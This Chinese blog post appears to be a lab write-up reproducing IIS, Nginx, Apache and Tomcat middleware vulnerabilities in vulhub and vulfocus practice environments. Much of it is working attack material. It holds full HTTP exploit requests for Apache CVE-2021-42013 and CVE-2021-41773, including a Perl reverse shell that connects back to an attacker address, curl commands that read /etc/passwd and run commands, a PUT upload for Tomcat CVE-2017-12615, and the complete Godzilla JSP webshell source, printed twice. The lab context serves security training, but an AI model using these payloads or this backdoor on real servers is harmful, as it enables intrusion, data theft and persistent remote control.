0
点赞
收藏
分享

微信扫一扫

中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

目录

中间件安全&CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

中间件-IIS安全问题

中间件-IIS-短文件&解析&蓝屏等安全问题:

1、短文件:信息收集

2、文件解析

3、HTTP.SYS:蓝屏崩溃,略有破坏性

4、CVE-2017-7269 条件比较老旧

中间件-Nginx安全问题

Nginx详解

中间件-Nginx-文件解析&命令执行等安全问题:

1、后缀解析 文件名解析 配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。 CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、cve_2021_23017

相关文章:cve_2021_23017

3、cve_2017_7529

相关文章:cve_2017_7529

漏洞复现

Nginx 解析漏洞复现

靶场:vulhub

参考:nginx解析漏洞复现

开启环境:

image-20231020095152751

访问:

image-20231020095433095

上传:

上传一个正常的图片,图片当中带着我们的php语句

image-20231020095802615

访问图片,在图片后面加上/.php

语句被成功解析并执行:

image-20231020095849687

可利用此来上传木马,从而进行getshell。

Nginx 文件名逻辑漏洞

靶场:vulhub

参考:CVE-2013-4547

开启环境:

image-20231020101837154

访问:

image-20231020101852721

上传.gif文件

这个环境是黑名单验证,我们无法上传php后缀的文件。我们上传一个“1.gif ”,注意后面的空格:

image-20231020102007421

访问http://your-ip:8080/uploadfiles/3.gif[0x20][0x00].php,即可发现php语句已被解析执行(当做php脚本语言进行执行):

image-20231020102125867

修改16进制数值:

image-20231020102209314

解析执行:

image-20231020101820925

同理利用该漏洞,上传木马,可getshell。

中间件-Apache-RCE&目录遍历&文件解析等安全问题漏洞复现

详解:Apache详解

安全问题:

1、cve_2021_42013 RCE代码执行

2、cve_2021_41773 目录穿越

3、cve-2017-15715 文件解析

漏洞复现

CVE_2021_42013 RCE代码执行(Apache RCE)

靶场:vulfocus

开启靶场:

image-20231020104037783

访问:

image-20231020104123013

payload:
//修改请求方式为POST
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
//数据包内容为:
echo;perl -e 'use Socket;$i="192.168.100.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'


//完整数据包:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 192.168.100.134:11559
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 222

echo;perl -e 'use Socket;$i="192.168.100.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
反弹shell命令:
echo;perl -e 'use Socket;$i="攻击者ip";$p=监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

开启监听

nc -lvvp 8888

发送数据包,等待过后,成功反弹:

image-20231020111121399

执行命令:

image-20231020111020629

CVE_2021_41773 目录穿越(Apache目录遍历)

靶场:vulhub

或vulfocus

参考:Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞

开启环境:

image-20231020112649834

访问界面:

image-20231020112712656

在vulfocus当中开启靶场环境,访问界面:

image-20231020112750497

访问:

image-20231020112733937

payload:
//抓包,发送以下请求数据内容
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
...

image-20231020112930861

一个简单的 curl 命令来重现漏洞(请注意,必须是现有目录):/icons/

payload:
查看/etc/passwd文件
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

查看/etc/group文件
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/group

image-20231020113200821

已成功披露:/etc/passwd

image-20231020113455524

已成功披露:/etc/group

命令执行RCE:
payload:
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

curl -v --data "echo;ls" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

image-20231020113631553

成功回显

查看目录:

image-20231020113655570

CVE-2017-15715 文件解析(Apache HTTPD 换行解析漏洞)

环境:vulhub

漏洞复现详解:Apache HTTPD 换行解析漏洞(CVE-2017-15715)

中间件-Tomcat安全问题-弱口令&文件上传&文件包含等漏洞复现

描述:Tomcat详解

安全问题:

1、Tomcat弱口令

2、Tomcat文件上传

3、Tomcat文件包含

漏洞复现

Tomcat弱口令

靶场:vulfocus

开启环境:

image-20231020141628821

访问:

image-20231020141743851

点击管理后台应用,尝试弱口令

image-20231020143530251

尝试账号和密码为:tomcattomcat(也可以使用burp进行爆破)

弱口令成功进入后台:

image-20231020141852807

可使用哥斯拉生成jsp后门,打包压缩成zip,然后重命名为war后缀文件,进行上传,即可getshell

image-20231020143044727

修改后,进行上传

image-20231020143728012

进入后台,然后进行上传该文件:

image-20231020143145209

输入账号密码后,成功上传:

image-20231020143234456

点击进入目录,访问后门:

image-20231020143332958

尝试连接:

成功连接并进入

image-20231020143430700

后面文件以及目录:

image-20231020143917960

image-20231020143928006

Tomcat文件上传(CVE-2017-12615)

靶场:vulfocus

开启靶场:

image-20231020144856581

访问:

image-20231020145952122

进行上传,上传一个1.jsp文件,抓取数据包,修改数据包内容,将后面内容写在请求体当中

PUT /1.jsp/ HTTP/1.1
Host: 192.168.100.134:64009
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=71F2B8B297CF95B8EDC83C14222858FA
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2617

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

jsp后门代码:

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

发送数据包即可:

上传1.jsp文件

image-20231020150518864

修改完成后,发送数据包即可:

image-20231020150124951

回到界面,尝试访问:

image-20231020150147969

上传成功,使用哥斯拉进行连接,getshell

image-20231020150219886

Tomcat文件包含(CVE-2020-1938)

靶场:vulfocus

开启环境:

image-20231020155729995

访问界面:

image-20231020155800466

Tomcat-Ajp协议文件读取漏洞

  • 自动化脚本CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py you-ip -p AJP协议(默认端口8009)端口 -f WEB-INF/web.xml	//读取的文件路径

// -p 对应的端口
// -f 参数选择要包含的文件

image-20231020160252506

执行结果:

image-20231020155423292

image-20231020160331212

修复加固方法:

Tomcat 反序列化 (CVE-2020-9484)
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。

成功利用此漏洞需要同时满足以下4个条件: 
1.攻击者能够控制服务器上文件的内容和文件名称; 
2.服务器PersistenceManager配置中使用了FileStore; 
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象; 
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

该漏洞利用条件较为苛刻,可升级版本进行防护。

举报

相关推荐

0 条评论